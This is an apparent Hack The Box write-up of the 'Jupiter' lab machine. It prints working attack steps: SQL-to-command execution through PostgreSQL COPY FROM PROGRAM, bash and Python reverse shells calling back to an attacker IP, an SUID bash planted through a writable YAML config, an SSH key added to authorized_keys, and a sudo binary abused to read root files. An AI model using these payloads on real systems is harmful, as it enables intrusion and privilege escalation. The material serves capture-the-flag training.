.jpg&w=3840&q=75&dpl=dpl_5hwrCnMVdcMDkMYj6Pe5miX5ZpmW)
Jupiter
Hack The Box Machine Writeup
.png)
Summary
Jupiter is a bit of a tedious medium box due to a large amount of lateral movement being required. To obtain a foothold the attacker starts off by discovering a new subdomain. On this subdomain there is a POST request that can be intercepted that runs arbitrary sql. This can be abused to obtain code execution and a reverse shell. From here the attacker must move laterally to a new user by abusing a configuration file that is writable but not owned by the current user. Obtaining a shell as this first user allows for the attacker to grab the user.txt file.
The privilege escalation also involved some lateral movement. First the attacker must gain access to the local instance running on port 8888 that the box is named after. This requires finding an authentication token and some port forwarding. The attacker can then abuse this instance to obtain a shell as the second user on the box. This second user can run a custom binary as sudo. Investigating the binary reveals it is missing a configuration file. Finding this configuration file and placing it in the proper location allows the script to run. This configuration file can then be changed to fetch the contents of root.txt, completing the box.

JonTron memes are always a classic
User
Recon
Nmap and subdomain
I started with a trusty ole nmap scan, -sC for default enumeration scripts and -sV for service enumeration.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV 10.10.11.216
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 12:57 EDT
Nmap scan report for 10.10.11.216
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.48 seconds
This nmap scan reveals the domain name of jupiter.htb through a redirect. I added this to my /etc/hosts file. I also ran a ffuf scan to see if I could discover any other subdomains. I like to do this anytime I discover a new domain. This returns the kiosk subdomain which I also added to the /etc/hosts file at this point.
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u http://jupiter.htb -H "Host: FUZZ.jupiter.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 178
/'___\ /'___\ /'___
/\ __/ /\ __/ __ __ /\ __/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://jupiter.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.jupiter.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
[Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 49ms]
* FUZZ: kiosk
:: Progress: [4989/4989] :: Job [1/1] :: 1162 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
Website
From here I began enumeration of the websites. I always like to have scans running in the background, in this case the directory busting did not return anything of value. Jupiter.htb seems to be a simple website with a nonfunctioning contact us form an about us section, etc. The kiosk.jupiter site seems much more interesting at first glance. This site is running Grafana and capturing a request to the default page with burp reveals there is a lot of middleware going on. there are GET requests to /api/live/ws and /api/dashboards/uid/jMgFGfA4z. There is also a POST request to /api/frontend-metric that contains event information. The one that stands out the most however is a POST request to /api/ds/query. This query contains raw sql commands that appear to be grabbing information from a database to populate the page. It also reveals that it is using postgres.
Capturing requests through burp often shows many interesting things!
SQL Code Execution
Sending the request to repeater and playing with the SQL it appeared like there was no filtering going on and the SQL was being executed as is. Using some of the payloads from PayloadsAllTheThings PostgreSQL Injection confirmed this. Using the command execution section also confirmed that I could run arbitrary system commands.
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
Demonstrating SQL code execution by writing commands to a table and then executing it.
From here since I had arbitrary code execution I simply needed to change the command id to a reverse shell and catch it to obtain a foothold on the host. revshells.com is an excellent resource for creating reverse shells and is what I frequently use. Repeating the process from the HackTricks page but changing the id to a bash reverse shell results in a hit on my NC listener and a foothold shell on the box. Make sure to escape the inner double quotes with a forward slash.
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.10/42069 0>&1\"'
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069
listening on [any] 42069 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.216] 32814
bash: cannot set terminal process group (16949): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ id
id
uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)
Shell as Juno
Sadly I do not yet have access to the user.txt file. In the home directory there are 2 users, Jovian and Juno. It is likely that we will need to find a way to gain a shell as one of them to get user.txt and progress towards root.
postgres@jupiter:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 7 2023 .
drwxr-xr-x 19 root root 4096 May 4 18:59 ..
drwxr-x--- 6 jovian jovian 4096 May 4 18:59 jovian
drwxr-x--- 8 juno juno 4096 May 4 12:10 juno
Checking in /opt there is an interesting solar-flares directory owned by Jovian user and science group. I made note of this as it seemed like something important for later.
postgres@jupiter:/opt$ ls -la
drwxrwx--- 4 jovian science 4096 May 4 18:59 solar-flares

Tomorrow is is the day after tomorrow's yesterday
At this point I decided to bring over Linpeas for some automatic enumeration. Running it reveals a couple of interesting writable files in the /dev/shm directory. This directory is meant to store things only temporarily and is used primarily for inter-process communications so it stands out as very strange. Learn more about /dev/shm usage.
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/dev/shm/network-simulation.yml
/dev/shm/.network-simulation.yml.swp
/dev/shm/PostgreSQL.4202338042
I also ran pspy at this point to see what process might be using these files. pspy shows the juno user executing a shadow binary on the discovered network-simulation.yml and a bash script shadow-simulation.sh. It also shows a python simple server being created and 3 curl commands against that server.
postgres@jupiter:/tmp$ ./pspy64
<...>
2023/09/19 18:40:01 CMD: UID=1000 PID=1444 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/09/19 18:40:01 CMD: UID=1000 PID=1442 | /bin/bash /home/juno/shadow-simulation.sh
2023/09/19 18:40:01 CMD: UID=1000 PID=1447 | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/09/19 18:40:01 CMD: UID=1000 PID=1448 | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/09/19 18:40:01 CMD: UID=1000 PID=1453 | /usr/bin/python3 -m http.server 80
2023/09/19 18:40:01 CMD: UID=1000 PID=1454 | /usr/bin/curl -s server
2023/09/19 18:40:01 CMD: UID=1000 PID=1456 | /usr/bin/curl -s server
2023/09/19 18:40:01 CMD: UID=1000 PID=1458 | /usr/bin/curl -s server
2023/09/19 18:40:01 CMD: UID=1000 PID=1463 | /bin/bash /home/juno/shadow-simulation.sh
Looking more at these files it was revealed that even though I could write to network-simulation.yml, it was owned by the Juno user. Yml files are often used for configuration settings for things like docker so it is very possible this file is being run by another process owned by the juno user.
postgres@jupiter:/dev/shm$ ls -la
<...>
-rw-rw-rw- 1 juno juno 815 Mar 7 2023 network-simulation.yml
-rw------- 1 postgres postgres 1024 Sep 19 01:34 .network-simulation.yml.swp
-rw------- 1 postgres postgres 26976 Sep 19 01:00 PostgreSQL.4202338042
drwxrwxr-x 3 juno juno 100 Sep 19 18:06 shadow.data
Looking at the file itself it appears to run both a python simple server on one host and a curl command against that server on 3 other hosts. I figured that by altering the section which declares the processes to run ( path and args) I would be able to execute commands as the Juno user.
postgres@jupiter:/dev/shm$ cat network-simulation.yml
cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
At this I upgraded my shell with the script trick since file editors require full shells.I changed the server path to /usr/bin/bash ( which I discovered with the which bash command ) and the args section to the rest of a reverse shell, -c "bash -i >& /dev/tcp/10.10.14.10/42069 0>&1".
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/bash
args: -c "bash -i >& /dev/tcp/10.10.14.10/42069 0>&1"
start_time: 3s
Unfortunately even though it looks like this should work, and running pspy shows the process being spawned correctly, I did not get a hit on my NC listener. as such I decided upon a different strategy. My new goal would be to copy the bash binary into /tmp and change its permissions to grant suid.
2023/09/19 18:58:01 CMD: UID=1000 PID=1841 | /usr/bin/bash -c "bash -i >& /dev/tcp/10.10.14.10/42069 0>&1"
To do this I once again edited the network-simulation.yml ( which gets set back to default each time it is called). this time i changed the server path to /usr/bin/cp and args to /usr/bin/bash /tmp/bash. I also changed the client path to /usr/bin/chmod and the args to u+s/tmp/bash.
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /usr/bin/bash /tmp/bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: u+s /tmp/bash
start_time: 5s
Now when the file is called it will spawn a process that creates a copy of the bash binary in /tmp. It will also then set suid permissions on the new bash binary. This means that I simply need to run the new bash binary with -p to keep the effective id of the Juno user.
postgres@jupiter:/tmp$ ./bash -p
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
Sadly since the new shell only has the effective uid of Juno I cannot read the user.txt file since it is owned by root.
bash-5.1$ cat user.txt
cat: user.txt: Permission denied
bash-5.1$ ls -la
<...>
-rw-r----- 1 root juno 33 Sep 19 18:28 user.txt
I can however simply write my SSH key into the Juno users authorized key file. I will then be able to ssh in directly as the juno user and read user.txt.
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:5BkkXaTXVETYdxnUTIHMht7w5G06EcFcyf3mrQFhx8w kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| ...oo B@XBO|
| o.. =+XE+*|
| + o.Ooo.o|
| o + ..= oo|
| S .+o.|
| o. o|
| .o |
| . |
| |
+----[SHA256]-----+
┌──(kali㉿kali)-[~/Desktop]
└─$ cat key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAKFlpKQrL+x....NF5ygqc= kali@kali
bash-5.1$ echo "ssh-rsa AAAAB3NzaC1yc2EAk31PAyoB....3dk38SGWNF5ygqc= kali@kali" >> authorized_keys
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i key juno@jupiter.htb
<...>
juno@jupiter:~$ cat user.txt
5ba20bf63391447a2377d83452623e9b

Can never get enough of em
Root
Enumeration
My normal manual enumeration of sudo -l and looking for suid binaries does not reveal anything useful. However the id command does show that the juno user is part of the science group. Going back to what I had already enumerated I saw that I now had access to the /opt/solar-flare directory though the science group.
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
juno@jupiter:/opt$ ls -la
drwxrwx--- 4 jovian science 4096 May 4 18:59 solar-flares
This directory appears to house a Jupyter notebook as evidenced by the flares.ipynb file. This also fits nicely with the name of the box. The first thing that stood out to me was the log directory. Logs can often contain connection credentials and in this case would likely contain the token required to unlock the Jupyter notebook. Looking at the most recent file jupyter-2023-09-19-27.log reveals both the token and that the notebook is running on port 8888.
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-09-19-27.log
[W 18:27:47.327 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 18:27:47.336 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 18:27:47.336 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 18:27:47.336 NotebookApp] http://localhost:8888/?token=7db3587e7027b75897f39e37cebd7680a4081eec373b27b9
[I 18:27:47.336 NotebookApp] or http://127.0.0.1:8888/?token=7db3587e7027b75897f39e37cebd7680a4081eec373b27b9
[I 18:27:47.336 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 18:27:47.341 NotebookApp] No web browser found: could not locate runnable browser.
[C 18:27:47.341 NotebookApp]
To access the notebook, open this file in a browser:
file:///home/jovian/.local/share/jupyter/runtime/nbserver-1181-open.html
Or copy and paste one of these URLs:
http://localhost:8888/?token=7db3587e7027b75897f39e37cebd7680a4081eec373b27b9
or http://127.0.0.1:8888/?token=7db3587e7027b75897f39e37cebd7680a4081eec373b27b9
SSH Tunnel to Jupyter
Since I already have an SSH connection through adding my key to Juno’s authorized hosts file I next used that to create a tunnel with which to access the Jupyter notebook on localhost port 8888.
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i key -L 8888:127.0.0.1:8888 juno@jupiter.htb
I now had a tunnel set up from 127.0.0.1:8888 on my attacking host to 127.0.0.1:8888 on the Jupiter host. Visiting 127.0.0.1:8888 on my browser reveals the suspected Jupyter notebook service.
Visiting the Jupyter notebook service through a proxy tunnel
From here I clicked on flares.ipynb to open the notebook. I used the add button to add a cell to the notebook.
clicking on the plus will add a new cell. You can also just edit one that is already there
Shell as Jovian
From the top right of the page I could tell that the notebook was executing in python3. As such I simply needed to put a python reverse shell into my newly created cell.
The notebook reveals it is running python3 in the top right of the page
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.10",42069));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")
I now hit the run button to run the page and caught the reverse shell as the Jovian user. I then ran the script trick to upgrade the shell.
Hitting the run button will run all the cells on the page in order
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069
listening on [any] 42069 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.216] 35332
jovian@jupiter:/opt/solar-flares$ script /dev/null -c bash
jovian@jupiter:/opt/solar-flares$ ^Z
zsh: suspended nc -lvnp 42069
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo;fg
[1] + continued nc -lvnp 42069
reset
jovian@jupiter:/opt/solar-flares$ id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
.webp)
From the id command I could tell that the jovian user was part of the sudo group. I next enumerated these permissions with sudo -l. This reveals that I can run, what appears to be a custom binary named sattrack as root.
jovian@jupiter:/opt/solar-flares$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
Exploiting Sattrack Sudo Script
running this reveals that it needs a Configuration file. Wanting to see if I could find out more about this file, such as where it is looking for it, I ran a string command. I then fed this into grep and searched for the string "config". This revealed a location of /tmp/config.json which is where I assume it is looking for the file. It also shows that many fields are not defined in the config file leading me to believe that there is possibly a template example somewhere.
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
jovian@jupiter:/tmp$ strings /usr/local/bin/sattrack | grep -i "config"
/tmp/config.json
Configuration file has not been found. Please try again!
tleroot not defined in config
updatePerdiod not defined in config
station not defined in config
name not defined in config
lat not defined in config
lon not defined in config
hgt not defined in config
mapfile not defined in config
texturefile not defined in config
tlefile not defined in config
su_lib_log_config
_GLOBAL__sub_I__Z6configB5cxx11
_Z14validateConfigv
Using a find command with 2>/dev/null to direct errors into nothingness revealed /usr/local/share/sattrack/config.json. I then copied this over the /tmp/config.json and took a look.
jovian@jupiter:/tmp$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
jovian@jupiter:/tmp$ cp /usr/local/share/sattrack/config.json /tmp/config.json
jovian@jupiter:/tmp$ cat config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
This reveals what looks like a bunch of source files. Running the command again shows that it is attempting to get the files listed in the tlesources section from the internet. It then also creates a tle directory in which the fetched files are placed.
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
jovian@jupiter:/tmp$ ls
<...>
tle
jovian@jupiter:/tmp/tle$ ls
noaa.txt weather.txt
My thought was to abuse this fetching functionally to see what happens if I point it towards a local file. Since the process is being called with sudo permissions it should be able to read root.txt and I figured that was as good a file as any to test it out on. I changed the first entry in the tlesources section to read file:///root/root.txt and ran the script.
jovian@jupiter:/tmp$ cat config.json
<...>
"tlesources": [
"file:///root/root.txt",
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
It grabs the file and when i look in the tle directory there it is! I can then simply cat root.txt and complete this out of the word box.
jovian@jupiter:/tmp/tle$ ls
noaa.txt root.txt weather.txt
jovian@jupiter:/tmp/tle$ cat root.txt
463926e6438cf926b820faa789accf1c
.jpg)
Until next time frens!
Other Resources
Ippsec Video Walkthrough
0xdf Writeup
0xdf.gitlab.io